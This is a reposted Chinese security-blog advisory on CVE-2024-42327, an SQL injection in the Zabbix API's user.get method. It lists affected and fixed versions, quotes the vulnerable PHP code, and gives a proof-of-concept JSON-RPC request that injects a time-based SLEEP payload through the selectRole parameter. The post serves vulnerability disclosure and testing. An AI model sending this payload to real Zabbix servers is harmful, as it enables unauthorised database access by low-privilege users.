Zabbix 前端上具有默认用户角色或任何其他授予 API 访问权限的角色的非管理员用户帐户均可利用此漏洞。addRelatedObjects 函数中的 CUser 类中存在 SQLi,此函数由 CUser.get 函数调用,每个具有 API 访问权限的用户均可使用该函数。
受影响和修复的版本:
6.0.0 - 6.0.31 / 6.0.32rc1
6.4.0 - 6.4.16 / 6.4.17rc1
7.0.0 / 7.0.1rc1
受影响代码:
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
POC:
POST /api_jsonrpc.php HTTP/1.1
Host: localhost
User-Agent: curl/8.11.0
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
"userids": ["1","2"]
},
"id": 1,
"auth": ""
}
原文始发于微信公众号(Khan安全攻防实验室):CVE-2024-42327 Zabbix SQL注入 POC
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论